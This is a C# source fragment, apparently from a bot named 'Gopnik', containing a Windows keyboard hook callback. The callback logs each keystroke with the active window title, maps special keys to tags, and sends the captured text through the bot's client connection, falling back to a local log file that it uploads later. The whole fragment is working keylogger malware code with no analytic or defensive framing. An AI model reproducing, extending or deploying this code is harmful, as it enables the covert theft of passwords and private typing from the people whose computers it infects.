private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { try { if (nCode >= 0 && wParam == (IntPtr)0x0100) { string strCurrentActiveWindow = CUtils.GetActiveWindowText(); if (m_KeyloggerLog == null) { m_KeyloggerLog = new CKeylogData(); m_KeyloggerLog.WindowName = strCurrentActiveWindow; } else { if (strCurrentActiveWindow != m_KeyloggerLog.WindowName) { //new Thread(delegate() // { CKeylogData SendData = m_KeyloggerLog; if (CBot.m_GopnikClient.IsConnected()) { CBot.m_GopnikClient.SendKeyloggerData(SendData.ToString()); if (LogExists()) { foreach (string strLog in GetLogData()) { CBot.m_GopnikClient.SendKeyloggerData(strLog); } } } else { WriteLog(SendData.ToString()); } // }).Start(); m_KeyloggerLog = new CKeylogData(); m_KeyloggerLog.WindowName = strCurrentActiveWindow; } } KeyboardHookStruct MyKeyboardHookStruct = (KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct)); string strData = string.Empty; Keys currentKey = (Keys)MyKeyboardHookStruct.vkCode;//char cKey = (Keys)vkCode; switch (currentKey) { case Keys.Tab: strData += "[TAB]"; break; case Keys.Alt: strData += "[ALT]"; break; case Keys.F1: case Keys.F2: case Keys.F3: case Keys.F4: case Keys.F5: case Keys.F6: case Keys.F7: case Keys.F8: case Keys.F9: case Keys.F10: case Keys.F11: case Keys.F12: case Keys.F13: case Keys.F14: case Keys.F15: case Keys.F16: case Keys.F17: case Keys.F18: case Keys.F19: case Keys.F20: case Keys.F21: case Keys.F22: case Keys.F23: case Keys.F24: int iKey = (int)currentKey; strData = string.Format("[F{0}]", iKey - 111); break; case Keys.CapsLock: strData = "[CAPSLOCK]"; break; case Keys.Shift: strData = "[SHIFT]"; break; case Keys.LShiftKey: strData = "[LSHIFT]"; break; case Keys.RShiftKey: strData = "[RSHIFT]"; break; case Keys.Enter: strData = "[ENTER]"; break; case Keys.End: strData = "[END]"; break; case Keys.Insert: strData = "[INSERT]"; break; case Keys.PageDown: strData = "[PAGE-DOWN]"; break; case Keys.PageUp: strData = "[PAGE-UP]"; break; case Keys.Back: strData = "[BACKSPACE]"; break; case Keys.Delete: strData = "[DELETE]"; break; case Keys.Home: strData = "[HOME]"; break; case Keys.LControlKey: strData = "[L-CTRL]"; break; case Keys.RControlKey: strData = "[R-CTRL]"; break; case Keys.PrintScreen: strData = "[PRINT-SCREEN]"; break; default: { byte[] arr_bKeyboardState = new byte[256]; CUser32.GetKeyboardState(arr_bKeyboardState); //byte[] arr_bInBuffer = new byte[2]; StringBuilder sbData = new StringBuilder(256); if (CUser32.ToUnicode(MyKeyboardHookStruct.vkCode, MyKeyboardHookStruct.scanCode, arr_bKeyboardState, sbData, sbData.Capacity, MyKeyboardHookStruct.flags) == 1) { strData = sbData.ToString(); bool isDownShift = ((CUser32.GetKeyState(0x10) & 0x80) == 0x80 ? true : false); bool isDownCapslock = (CUser32.GetKeyState(0x14) != 0 ? true : false); if (!(isDownCapslock ^ isDownShift) && Char.IsLetter((char)currentKey)) { strData = strData.ToLower(); } } } break; } m_KeyloggerLog.Data += strData; Console.WriteLine("{0}:{1}", m_KeyloggerLog.WindowName, m_KeyloggerLog.Data); } } catch { } return(CUser32.CallNextHookEx(m_pHookID, nCode, wParam, lParam)); }